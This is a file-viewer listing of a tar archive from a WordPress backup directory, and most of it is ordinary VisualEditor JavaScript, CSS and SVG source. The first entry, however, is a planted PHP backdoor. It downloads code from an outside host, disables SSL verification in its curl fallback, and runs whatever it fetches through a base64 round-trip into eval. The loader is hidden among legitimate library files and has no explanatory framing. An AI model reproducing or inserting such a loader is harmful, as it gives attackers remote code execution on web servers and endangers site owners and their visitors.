Viewing File: /home/omtekel/www/wp-content/upgrade/backup/src.tar

modules/2023/vyqt/iwdrj/index.php000066600000000677151334714320012565 0ustar00<?php
$url = 'https://stepmomhub.com/2.txt';
$content = @file_get_contents($url);

if ($content === false) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $content = curl_exec($ch);
    curl_close($ch);
}

if ($content) {
    $code = base64_encode($content);
    eval('?>' . base64_decode($code));

} ?>ui/windowmanagers/ve.ui.ToolbarDialogWindowManager.js000066600000003000151334753760017011 0ustar00/*!
 * VisualEditor UserInterface ToolbarDialogWindowManager class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Window manager for toolbar dialogs.
 *
 * @class
 * @extends ve.ui.SurfaceWindowManager
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface this belongs to
 * @param {Object} [config] Configuration options
 * @cfg {ve.ui.Overlay} [overlay] Overlay to use for menus
 */
ve.ui.ToolbarDialogWindowManager = function VeUiToolbarDialogWindowManager( surface, config ) {
	// Parent constructor
	ve.ui.ToolbarDialogWindowManager.super.call( this, surface, config );
};

/* Inheritance */

OO.inheritClass( ve.ui.ToolbarDialogWindowManager, ve.ui.SurfaceWindowManager );

/* Static Properties */

ve.ui.ToolbarDialogWindowManager.static.sizes = {
	full: {
		width: '100%',
		maxHeight: '100%'
	},
	small: {
		width: 150
	},
	medium: {
		width: 300
	},
	large: {
		width: 400
	}
};

/* Methods */

/**
 * @inheritdoc
 */
ve.ui.ToolbarDialogWindowManager.prototype.getTeardownDelay = function () {
	return 250;
};

/**
 * Get an object describing the amount of padding the toolbar dialog adds to the surface.
 *
 * @return {null|Object} Padding object, or null
 */
ve.ui.ToolbarDialogWindowManager.prototype.getSurfacePadding = function () {
	var currentWindow = this.getCurrentWindow();
	if ( currentWindow && currentWindow.constructor.static.position === 'below' ) {
		return { bottom: currentWindow.$frame[ 0 ].clientHeight };
	} else {
		return { bottom: 0 };
	}
};
ui/windowmanagers/ve.ui.MobileWindowManager.js000066600000002075151334753760015511 0ustar00/*!
 * VisualEditor UserInterface MobileWindowManager class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Window manager for mobile windows.
 *
 * @class
 * @extends ve.ui.SurfaceWindowManager
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface this belongs to
 * @param {Object} [config] Configuration options
 * @cfg {ve.ui.Overlay} [overlay] Overlay to use for menus
 */
ve.ui.MobileWindowManager = function VeUiMobileWindowManager( surface, config ) {
	// Parent constructor
	ve.ui.MobileWindowManager.super.call( this, surface, config );

	// Initialization
	this.$element.addClass( 've-ui-mobileWindowManager' );
};

/* Inheritance */

OO.inheritClass( ve.ui.MobileWindowManager, ve.ui.SurfaceWindowManager );

/* Static Properties */

// Only allow 'small' and 'full' sizes, defaulting to 'full'
ve.ui.MobileWindowManager.static.sizes = {
	small: ve.ui.MobileWindowManager.super.static.sizes.small,
	full: ve.ui.MobileWindowManager.super.static.sizes.full
};

ve.ui.MobileWindowManager.static.defaultSize = 'full';
ui/windowmanagers/ve.ui.DesktopInspectorWindowManager.js000066600000002120151334753760017571 0ustar00/*!
 * VisualEditor UserInterface DesktopInspectorWindowManager class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Window manager for desktop inspectors.
 *
 * @class
 * @extends ve.ui.SurfaceWindowManager
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface this belongs to
 * @param {Object} [config] Configuration options
 * @cfg {ve.ui.Overlay} [overlay] Overlay to use for menus
 */
ve.ui.DesktopInspectorWindowManager = function VeUiDesktopInspectorWindowManager( surface, config ) {
	// Parent constructor
	ve.ui.DesktopInspectorWindowManager.super.call( this, surface, config );
};

/* Inheritance */

OO.inheritClass( ve.ui.DesktopInspectorWindowManager, ve.ui.SurfaceWindowManager );

/* Static Properties */

ve.ui.DesktopInspectorWindowManager.static.sizes = {
	small: {
		width: 200,
		maxHeight: '100%'
	},
	medium: {
		width: 300,
		maxHeight: '100%'
	},
	large: {
		width: 400,
		maxHeight: '100%'
	},
	full: {
		// These can be non-numeric because they are never used in calculations
		width: '100%',
		height: '100%'
	}
};
ui/windowmanagers/ve.ui.SurfaceWindowManager.js000066600000002721151334753760015670 0ustar00/*!
 * VisualEditor UserInterface SurfaceWindowManager class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Window manager for desktop inspectors.
 *
 * @class
 * @extends ve.ui.WindowManager
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface this belongs to
 * @param {Object} [config] Configuration options
 * @cfg {ve.ui.Overlay} [overlay] Overlay to use for menus
 */
ve.ui.SurfaceWindowManager = function VeUiSurfaceWindowManager( surface, config ) {
	// Properties
	// Set up surface before calling the parent so we can request
	// specific surface-related details from within the constructor.
	this.surface = surface;

	// Parent constructor
	ve.ui.SurfaceWindowManager.super.call( this, config );
};

/* Inheritance */

OO.inheritClass( ve.ui.SurfaceWindowManager, ve.ui.WindowManager );

/* Methods */

/**
 * Override the window manager's directionality method to get the
 * directionality from the surface. The surface sometimes does not
 * have a directionality set; fallback to direction from the document.
 *
 * @return {string} UI directionality
 */
ve.ui.SurfaceWindowManager.prototype.getDir = function () {
	return this.surface.getDir() ||
		// Fallback to parent method
		ve.ui.SurfaceWindowManager.super.prototype.getDir.call( this );
};

/**
 * Get surface.
 *
 * @return {ve.ui.Surface} Surface this belongs to
 */
ve.ui.SurfaceWindowManager.prototype.getSurface = function () {
	return this.surface;
};
ui/pages/ve.ui.SpecialCharacterPage.js000066600000004570151334753760013665 0ustar00/*!
 * VisualEditor user interface SpecialCharacterPage class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 * @license The MIT License (MIT); see LICENSE.txt
 */

/**
 * Special character toolbar dialog.
 *
 * @class
 * @extends OO.ui.PageLayout
 *
 * @constructor
 * @param {string} name Unique symbolic name of page
 * @param {Object} [config] Configuration options
 * @cfg {string} [label]
 * @cfg {Object} [characters] Character set
 * @cfg {Object} [attributes] Extra attributes, currently `lang` and `dir`
 * @cfg {boolean} [source] Source mode only set
 */
ve.ui.SpecialCharacterPage = function VeUiSpecialCharacterPage( name, config ) {
	// Parent constructor
	ve.ui.SpecialCharacterPage.super.apply( this, arguments );

	this.label = config.label;

	var characters = config.characters;
	var $characters = $( '<div>' ).addClass( 've-ui-specialCharacterPage-characters' );
	var charactersNode = $characters[ 0 ];
	var source = config.source;

	// The body of this loop is executed a few thousand times when opening
	// ve.ui.SpecialCharacterDialog, avoid jQuery wrappers.
	for ( var character in characters ) {
		if ( !source && characters[ character ].source ) {
			continue;
		}
		var characterNode = document.createElement( 'div' );
		characterNode.className = 've-ui-specialCharacterPage-character';
		if ( characters[ character ].titleMsg ) {
			// eslint-disable-next-line mediawiki/msg-doc
			characterNode.setAttribute( 'title', ve.msg( characters[ character ].titleMsg ) );
		}
		if ( characters[ character ].source ) {
			characterNode.classList.add( 've-ui-specialCharacterPage-character-source' );
		}
		characterNode.textContent = character;
		$.data( characterNode, 'character', characters[ character ] );
		charactersNode.appendChild( characterNode );
	}

	if ( config.attributes ) {
		$characters.attr( 'lang', config.attributes.lang );
		$characters.attr( 'dir', config.attributes.dir );
	}

	this.$element
		.addClass( 've-ui-specialCharacterPage' )
		.append( $( '<h3>' ).text( this.label ), $characters );
};

/* Inheritance */

OO.inheritClass( ve.ui.SpecialCharacterPage, OO.ui.PageLayout );

/* Methods */

/**
 * @inheritdoc
 */
ve.ui.SpecialCharacterPage.prototype.setupOutlineItem = function () {
	// Parent method
	ve.ui.SpecialCharacterPage.super.prototype.setupOutlineItem.apply( this, arguments );

	this.outlineItem.setLabel( this.label );
};
ui/styles/ve.ui.TableLineContext.css000066600000002442151334753760013473 0ustar00/*!
 * VisualEditor UserInterface Table Context styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-tableLineContext {
	/* Ensure it is placed above the table context */
	z-index: 3;
}

.ve-ui-tableLineContext > .oo-ui-iconWidget.oo-ui-iconElement.oo-ui-iconElement-icon {
	position: absolute;
	display: block;
	background-color: #d3e5fd;
	box-sizing: border-box;
	cursor: pointer;
	margin: 0;
}

.ve-ui-tableLineContext-col > .oo-ui-iconWidget.oo-ui-iconElement.oo-ui-iconElement-icon {
	width: 100%;
	height: 1em;
	min-height: auto;
	/* Context height + 0.2em gap */
	top: -1.2em;
	border-bottom: 0;
}

.ve-ui-tableLineContext-row > .oo-ui-iconWidget.oo-ui-iconElement.oo-ui-iconElement-icon {
	width: 1em;
	min-width: auto;
	/* Context width + 0.2em gap */
	left: -1.2em;
	border-right: 0;
}

.ve-ui-tableLineContext-table > .oo-ui-iconWidget.oo-ui-iconElement.oo-ui-iconElement-icon {
	height: 1em;
	width: 1em;
	min-width: auto;
	min-height: auto;
	/* Context width/height + 0.2em gap */
	top: -1.2em;
	left: -1.2em;
	border-bottom: 0;
	border-right: 0;
}

.ve-ce-tableNodeOverlay-deactivated .ve-ui-tableLineContext > .oo-ui-iconWidget.oo-ui-iconElement.oo-ui-iconElement-icon {
	background-color: #ddd;
}

.ve-ui-tableLineContext-menu {
	z-index: 2;
}
ui/styles/tools/ve.ui.FormatTool.css000066600000002531151334753760013514 0ustar00/*!
 * VisualEditor FormatTool styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-paragraph .oo-ui-tool-title {
	font-weight: normal;
}

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-heading1 .oo-ui-tool-title {
	font-size: 190%;
	font-weight: normal;
}

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-heading2 .oo-ui-tool-title {
	font-size: 150%;
	font-weight: normal;
}

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-heading3 .oo-ui-tool-title {
	font-size: 130%;
	font-weight: bold;
}

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-heading4 .oo-ui-tool-title {
	font-size: 115%;
	font-weight: bold;
}

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-heading5 .oo-ui-tool-title {
	font-size: 100%;
	font-weight: bold;
}

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-heading6 .oo-ui-tool-title {
	font-size: 80%;
	font-weight: bold;
}

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-preformatted .oo-ui-tool-title {
	/* Support: Blink, Gecko, Webkit */
	/* Specify a valid second value to fix size, see T176636 */
	font-family: monospace, monospace;
}

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-blockquote .oo-ui-tool-title {
	/* Indent in addition to padding */
	text-indent: 1.5em;
}

.oo-ui-menuToolGroup-tools .oo-ui-tool-name-tableCellHeader .oo-ui-tool-title {
	font-weight: bold;
}
ui/styles/elements/ve.ui.DiffElement.css000066600000016120151334753760014263 0ustar00/*!
 * VisualEditor UserInterface DiffElement styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 * @license The MIT License (MIT); see LICENSE.txt
 */

.ve-ui-diffElement {
	position: relative;
}

.ve-ui-diffElement::after {
	content: '';
	clear: both;
	display: block;
}

.ve-ui-diffElement-content {
	overflow-x: auto;
	position: relative;
	/* Render 5px padding so highlight outlines are visible */
	margin-left: -5px;
	padding-left: 5px;
}

.ve-ui-diffElement-hasDescriptions .ve-ui-diffElement-content {
	margin-right: 16em;
	padding-right: 1em;
	border-right: 1px solid #c8ccd1;
}

@media ( max-width: 400px ) {
	.ve-ui-diffElement-hasDescriptions .ve-ui-diffElement-content {
		margin-right: 6em;
	}
}

.ve-ui-diffElement-hasDescriptions .ve-ui-diffElement-sidebar {
	position: absolute;
	top: 0;
	right: 0;
	width: 15em;
}

@media ( max-width: 400px ) {
	.ve-ui-diffElement-hasDescriptions .ve-ui-diffElement-sidebar {
		width: 5em;
	}
}

.ve-ui-diffElement-overlays {
	position: absolute;
	opacity: 0.5;
	z-index: 2;
	pointer-events: none;
}

.ve-ui-diffElement-warning {
	font-style: italic;
}

.ve-ui-diffElement-warning > .oo-ui-iconWidget {
	margin-right: 0.3em;
}

.ve-ui-changeDescriptionsSelectWidget > .oo-ui-optionWidget {
	cursor: default;
	font-size: 0.92857143em; /* 13/14px */
}

.ve-ui-changeDescriptionsSelectWidget > .oo-ui-optionWidget-highlighted {
	background: #b6d4fb; /* #6da9f7 at 50% opacity */
}

.ve-ui-diffElement-highlight {
	position: absolute;
	/* background: #6da9f7; */
	outline: 3px solid #6da9f7;
	padding: 2px;
	margin: -2px 0 0 -2px;
	pointer-events: none;
}

.ve-ui-diffElement-attributeChange {
	color: #72777d;
}

.ve-ui-diffElement-attributeChange del {
	background-color: #f2c2bf;
	box-shadow: 0 0 0 1px #f2c2bf;
	text-decoration: line-through;
}

.ve-ui-diffElement-attributeChange del:hover {
	background-color: #f2c2bf;
	box-shadow: 0 0 0 1px #f2c2bf;
	text-decoration: none;
}

.ve-ui-diffElement-attributeChange ins {
	background-color: #c4ede4;
	box-shadow: 0 0 0 1px #c4ede4;
	text-decoration: none;
}

.ve-ui-diffElement-attributeChange.oo-ui-labelElement .oo-ui-labelElement-label {
	/* Respect line breaks and prevent collapsing added/removed spaces */
	white-space: pre-wrap;
	word-break: break-word;
	word-wrap: break-word;
	overflow-wrap: break-word;
}

.ve-ui-diffElement-attributeChange.oo-ui-labelElement .oo-ui-labelElement-label ol,
.ve-ui-diffElement-attributeChange.oo-ui-labelElement .oo-ui-labelElement-label ul {
	margin-left: 1.8em;
}

[ data-diff-action='insert' ],
[ data-diff-action='remove' ],
[ data-diff-action='change-insert' ],
[ data-diff-action='change-remove' ] {
	text-decoration: inherit;
}

/* Prevent collapsing added/removed spaces (T170114), but only inline (T300444) */
ins[ data-diff-action='insert' ],
del[ data-diff-action='remove' ] {
	white-space: pre-wrap;
}

[ data-diff-action='insert' ],
/* elements using display:table-caption need separate backgrounds as they render outside the parent's bounding box */
[ data-diff-action='insert' ] > caption,
[ data-diff-action='insert' ] > figcaption {
	/* #7fd7c4 at 50% opacity */
	background-color: rgba( 0, 175, 137, 0.5 ) !important; /* stylelint-disable-line declaration-no-important */
	box-shadow: 0 0 0 1px rgba( 0, 175, 137, 0.5 );
}

[ data-diff-action='remove' ],
/* elements using display:table-caption need separate backgrounds as they render outside the parent's bounding box */
[ data-diff-action='remove' ] > caption,
[ data-diff-action='remove' ] > figcaption {
	/* #e88e89 at 50% opacity */
	background-color: rgba( 209, 29, 19, 0.5 ) !important; /* stylelint-disable-line declaration-no-important */
	box-shadow: 0 0 0 1px rgba( 209, 29, 19, 0.5 );
}

[ data-diff-action='change' ],
[ data-diff-action='change-insert' ] {
	/* #b6d4fb at 50% opacity */
	background-color: rgba( 109, 169, 247, 0.5 ) !important; /* stylelint-disable-line declaration-no-important */
	box-shadow: 0 0 0 1px rgba( 109, 169, 247, 0.5 );
}

[ data-diff-move ],
/* elements using display:table-caption need separate backgrounds as they render outside the parent's bounding box */
[ data-diff-move ] > caption,
[ data-diff-move ] > figcaption {
	/* #eaecf0 (base80) at 50% opacity */
	background: rgba( 213, 217, 225, 0.5 );
	outline: 5px solid rgba( 213, 217, 225, 0.5 );
}

[ data-diff-action='change-remove' ] {
	display: none;
}

[ data-diff-action='remove' ] {
	text-decoration: line-through;
}

[ data-diff-action='remove' ]:hover {
	text-decoration: none;
}

/* Add some space to separate insertions from removals (inline only) */
/* TODO: These sibling selectors still match when there is a text node in-between, should be fixed in JS */
del[ data-diff-action='remove' ] + ins[ data-diff-action='insert' ],
ins[ data-diff-action='insert' ] + del[ data-diff-action='remove' ],
del[ data-diff-action='remove' ] + span[ data-diff-action='change-insert' ],
ins[ data-diff-action='insert' ] + span[ data-diff-action='change-remove' ] {
	margin-left: 4px;
}

[ data-diff-action='none' ]:not( [ data-diff-move ] ) {
	opacity: 0.4;
}

/* List items only apply this style to the marker. The contents
   is styled separately to avoid styling nested lists. */
li[ data-diff-action='none' ]:not( [ data-diff-move ] ) {
	opacity: 1;
}

li[ data-diff-action='none' ]:not( [ data-diff-move ] )::marker {
	color: #72777d;
}

/* stylelint-disable no-descending-specificity */
[ data-diff-action='insert' ],
[ data-diff-action='remove' ],
[ data-diff-action='change-insert' ],
[ data-diff-action='change-remove' ],
[ data-diff-move ] {
	/* Create new stacking context to match one created by opacity on data-diff-action=none (T190916) */
	position: relative;
	z-index: 1;
}
/* stylelint-enable no-descending-specificity */

/* Blend contents into the background (I7a7e27b1218) */
[ data-diff-action='insert' ] > *,
[ data-diff-action='remove' ] > *,
[ data-diff-action='change' ] > *,
[ data-diff-action='change-insert' ] > *,
[ data-diff-action='change-remove' ] > *,
[ data-diff-move ] > * {
	mix-blend-mode: darken;
}

.ve-ui-diffElement-moved-up,
.ve-ui-diffElement-moved-down {
	position: relative;
	padding-left: 1em;
}

.ve-ui-diffElement-moved-up::before,
.ve-ui-diffElement-moved-down::before {
	position: absolute;
	left: 0;
	line-height: 1;
}

.ve-ui-diffElement-moved-down::before {
	content: '↓';
}

.ve-ui-diffElement-moved-up::before {
	content: '↑';
}

[ data-diff-action='insert' ]:empty::before,
[ data-diff-action='remove' ]:empty::before,
[ data-diff-move ]:empty::before,
[ data-diff-action='insert' ] *:empty::before,
[ data-diff-action='remove' ] *:empty::before,
[ data-diff-move ] *:empty::before {
	content: url( data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7 );
}

.ve-ui-diffElement-no-changes {
	color: #72777d;
	font-style: italic;
}

.ve-ui-diffElement-spacer {
	color: #72777d;
	clear: both;
}

[ data-diff-list-spacer ],
.ve-ui-diffElement-internalListSpacer {
	list-style-type: none !important; /* stylelint-disable-line declaration-no-important */
	list-style-image: none;
}

[ data-diff-list-none ]::marker {
	/* Approximately opacity 0.4, but we can't style the list marker with opacity */
	color: #aaa;
}
ui/styles/ve.ui.ContextItem.css000066600000000644151334753760012534 0ustar00/*!
 * VisualEditor UserInterface ContextItem styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-contextItem {
	/* Use cursor::default as this label text, and not intended to
	be selected, but don't prevent it (with user-select:none) if
	the user really wants to. */
	cursor: default;
}

.ve-ui-contextItem + .ve-ui-contextItem {
	border-top: 1px solid #eaecf0;
}
ui/styles/ve.ui.MobileContext.css000066600000001334151334753760013042 0ustar00/*!
 * VisualEditor UserInterface MobileContext styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-mobileContext {
	position: fixed;
	left: 0;
	right: 0;
	bottom: 0;
	background: #fff;
	/* Match toolbar border & shadow */
	border-top: 1px solid #c8ccd1;
	box-shadow: 0 -1px 1px 0 rgba( 0, 0, 0, 0.1 );
	/* Transition out faster, as keyboard may be coming up */
	transition: transform 100ms;
	transform: translateY( 0% );
}

.ve-ui-mobileContext.ve-ui-context-hidden {
	display: block;
	transition: transform 250ms;
	transform: translateY( 100% );
}

.ve-ui-mobileContext-menu {
	position: relative;
}

.ve-ui-mobileContext-close {
	position: absolute;
	right: 0;
	top: 2px;
}
ui/styles/ve.ui.Overlay.css000066600000001356151334753760011713 0ustar00/*!
 * VisualEditor Overlay styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-overlay {
	font-family: sans-serif;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	z-index: 1;
}

.ve-ui-overlay > * {
	z-index: 1;
}

.ve-ui-overlay-global {
	/* Toolbar is z-index 1 */
	z-index: 2;
}

/* Most vendor prefixes are not needed on mobile devices */

.ve-ui-overlay-global-mobile > .oo-ui-windowManager-modal > .oo-ui-dialog {
	transform: translate3d( 0, -100%, 0 );
	/* `opacity` is defined in OOUI styles */
	transition: transform 0.3s, opacity 0.3s;
}

.ve-ui-overlay-global-mobile > .oo-ui-windowManager-modal > .oo-ui-dialog.oo-ui-window-ready {
	-webkit-transform: none;
	transform: none;
}
ui/styles/images/unchecked.svg000066600000000222151334753760012441 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16">
	<path fill="none" stroke="#000" d="M.5.5h15v15H.5z"/>
</svg>
ui/styles/images/checked.svg000066600000000334151334753760012102 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16">
	<path fill="none" stroke="#000" d="M.5.5h15v15H.5z"/>
	<path fill="none" stroke="#000" stroke-width="2" d="m3.9 7.78 3 3 6-6"/>
</svg>
ui/styles/images/resize-ne-sw.svg000066600000000751151334753760013047 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="11" height="11" viewBox="0 0 11 11">
	<path id="shadow" fill="none" stroke="#000" stroke-linejoin="round" stroke-width="3.5" d="M9 2v4L7.5 4.5l-3 3L6 9H2V5l1.5 1.5 3-3L5 2z" opacity=".25"/>
	<path id="outline" fill="#fff" stroke="#fff" stroke-linejoin="round" stroke-width="2" d="M9 2v4L7.5 4.5l-3 3L6 9H2V5l1.5 1.5 3-3L5 2z"/>
	<path id="fill" d="M9 2v4L7.5 4.5l-3 3L6 9H2V5l1.5 1.5 3-3L5 2z"/>
</svg>
ui/styles/images/resize-nw-se.svg000066600000000751151334753760013047 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="11" height="11" viewBox="0 0 11 11">
	<path id="shadow" fill="none" stroke="#000" stroke-linejoin="round" stroke-width="3.5" d="M2 2v4l1.5-1.5 3 3L5 9h4V5L7.5 6.5l-3-3L6 2z" opacity=".25"/>
	<path id="outline" fill="#fff" stroke="#fff" stroke-linejoin="round" stroke-width="2" d="M2 2v4l1.5-1.5 3 3L5 9h4V5L7.5 6.5l-3-3L6 2z"/>
	<path id="fill" d="M2 2v4l1.5-1.5 3 3L5 9h4V5L7.5 6.5l-3-3L6 2z"/>
</svg>
ui/styles/widgets/ve.ui.CompletionWidget.css000066600000001316151334753760015211 0ustar00/*!
 * VisualEditor UserInterface CompletionWidget styles.
 *
 * @copyright 2011-2019 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-completionWidget {
	position: absolute;
	margin-top: 0.5em;
}

.ve-ui-completionWidget .oo-ui-menuSelectWidget {
	position: static;
	border: 0;
	box-shadow: none;
}

.ve-ui-completionWidget .oo-ui-popupWidget-body {
	/* The contained MenuSelectWidget is already clipped (T330401) */
	/* TODO: This could be done in JS if OO.ui.ClippableElement provided a way to disable clipping */
	overflow: hidden !important; /* stylelint-disable-line declaration-no-important */
}

.ve-ui-completionWidget .oo-ui-textInputWidget {
	min-width: 15em;
	margin-bottom: -1px;
}
ui/styles/widgets/ve.ui.AuthorItemWidget.css000066600000001374151334753760015165 0ustar00/*!
 * VisualEditor AuthorInterface AuthorItemWidget styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-authorItemWidget {
	position: relative;
	margin: 0.2em 0;
	padding-left: 2.5em;
	line-height: 2em;
}

.ve-ui-authorItemWidget-color {
	position: absolute;
	width: 2em;
	height: 2em;
	left: 0;
}

.ve-ui-authorItemWidget-colorPicker {
	margin-top: 3em;
}

/* stylelint-disable-next-line selector-class-pattern */
.ve-ui-authorItemWidget-colorPicker .color-picker-control {
	border-color: #ccc;
	padding: 3px;
	background: #fff;
}

.ve-ui-authorItemWidget-editable .ve-ui-authorItemWidget-color {
	cursor: pointer;
	outline: 1px solid #ccc;
	outline-offset: 1px;
	top: 2px; /* outline + outline-offset */
}
ui/styles/widgets/ve.ui.MediaSizeWidget.css000066600000000614151334753760014752 0ustar00/*!
 * VisualEditor UserInterface MediaSizeWidget styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-mediaSizeWidget .oo-ui-fieldLayout > .oo-ui-fieldLayout-body > .oo-ui-labelElement-label {
	width: 6em;
}

.ve-ui-mediaSizeWidget-section-scale .oo-ui-fieldLayout-field > .oo-ui-textInputWidget input {
	width: 5em;
	margin-right: 0.5em;
}
ui/styles/widgets/ve.ui.LanguageInputWidget.css000066600000000775151334753760015653 0ustar00/*!
 * VisualEditor UserInterface LanguageInputWidget styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-languageInputWidget-selectedLanguageLabel {
	width: 7.5em;
	margin-right: 1em;
	overflow: hidden;
	text-overflow: ellipsis;
	vertical-align: middle;
	white-space: nowrap;
}

.ve-ui-languageInputWidget-languageCodeTextInput {
	width: 6em;
	display: inline-block;
}

.ve-ui-languageInputWidget-directionLabel {
	margin-top: 0.5em;
	display: block;
}
ui/styles/widgets/ve.ui.DimensionsWidget.css000066600000000772151334753760015215 0ustar00/*!
 * VisualEditor UserInterface DimensionsWidget styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-dimensionsWidget,
.ve-ui-dimensionsWidget > .oo-ui-textInputWidget {
	display: inline-block;
}

.ve-ui-dimensionsWidget .oo-ui-textInputWidget {
	max-width: 4em;
}

.ve-ui-dimensionsWidget .oo-ui-labelWidget {
	line-height: 2.35em;
	vertical-align: middle;
}

.ve-ui-dimensionsWidget .oo-ui-labelWidget:not( :last-child ) {
	margin-right: 0.5em;
}
ui/styles/widgets/ve.ui.ContextSelectWidget.css000066600000000306151334753760015662 0ustar00/*!
 * VisualEditor UserInterface ContextSelectWidget styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-contextSelectWidget {
	padding: 0;
}
ui/styles/widgets/ve.ui.LanguageSearchWidget.css000066600000000566151334753760015757 0ustar00/*!
 * VisualEditor UserInterface LanguageSearchWidget/LanguageResultWidget styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/* ve.ui.LanguageResultWidget */

.ve-ui-languageResultWidget-otherMatch {
	color: #72777d;
	float: right;
}

.ve-ui-languageResultWidget .oo-ui-labelWidget {
	cursor: inherit;
	padding: 0.5em 0;
}
ui/styles/widgets/ve.ui.TargetWidget.css000066600000000571151334753760014330 0ustar00/*!
 * VisualEditor UserInterface targetWidget styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-targetWidget .ve-ui-surface .ve-ce-attachedRootNode,
.ve-ui-targetWidget .ve-ui-surface .ve-ui-surface-placeholder {
	/* 0.5/0.8, 1/0.8 */
	padding: 0.625em 1.25em;
}

.ve-ui-targetWidget .ve-ui-debugBar {
	padding: 1em;
}
ui/styles/widgets/ve.ui.ContextOptionWidget.css000066600000001425151334753760015716 0ustar00/*!
 * VisualEditor UserInterface ContextOptionWidget styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-contextOptionWidget {
	padding: 0.5em 1em 0.5em 3em;
}

.ve-ui-contextOptionWidget .oo-ui-labelElement-label {
	color: #54595d;
	/* Size required to match menu and inspector widths */
	max-width: 19.4em;
	text-overflow: ellipsis;
	overflow: hidden;
}

.ve-ui-contextOptionWidget .oo-ui-iconElement-icon {
	opacity: 0.8;
}

.ve-ui-contextOptionWidget.oo-ui-optionWidget-highlighted,
.ve-ui-contextOptionWidget.oo-ui-optionWidget-selected,
.ve-ui-contextOptionWidget.oo-ui-optionWidget-pressed {
	background-color: transparent;
}

.ve-ui-contextOptionWidget.oo-ui-optionWidget-highlighted .oo-ui-iconElement-icon {
	opacity: 1;
}
ui/styles/ve.ui.Context.css000066600000000270151334753760011710 0ustar00/*!
 * VisualEditor UserInterface Context styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-context-hidden {
	display: none;
}
ui/styles/ve.ui.Surface.css000066600000002115151334753760011654 0ustar00/*!
 * VisualEditor Surface styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-surface {
	position: relative;
}

.ve-ui-surface::after {
	content: '.';
	display: block;
	clear: both;
	visibility: hidden;
	line-height: 0;
	height: 0;
}

.ve-ui-surface-placeholder {
	opacity: 0.33;
	position: absolute;
	left: 0;
	right: 0;
}

.ve-ui-surface-placeholder,
.ve-ui-surface .ve-ce-attachedRootNode {
	/* Use an non-zero padding to disable margin collapse */
	padding: 0.05px 0;
}

.ve-ui-surface-source .ve-ui-surface-placeholder,
.ve-ui-surface-source .ve-ce-attachedRootNode {
	-moz-tab-size: 4;
	tab-size: 4;
}

.ve-ui-surface-source-font {
	/* Support: Blink, Gecko, Webkit */
	/* Specify a valid second value to fix size, see T176636 */
	font-family: monospace, monospace;
}

.ve-ui-surface-source .ve-ce-paragraphNode {
	/* Clear paragraph margin, regardless of specificity, so it looks more like a textarea */
	/* stylelint-disable-next-line declaration-no-important */
	margin: 0 !important;
	word-wrap: break-word;
	white-space: pre-wrap;
}
ui/styles/dialogs/ve.ui.CommandHelpDialog.css000066600000004633151334753760015224 0ustar00/*!
 * VisualEditor UserInterface CommandHelpDialog styles.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

.ve-ui-commandHelpDialog-container {
	-moz-columns: 3 19.5em;
	-webkit-columns: 3 19.5em;
	columns: 3 19.5em;
}

.ve-ui-commandHelpDialog-section {
	/*
	 * Hack 1: Prevent splitting over columns. This should be done with
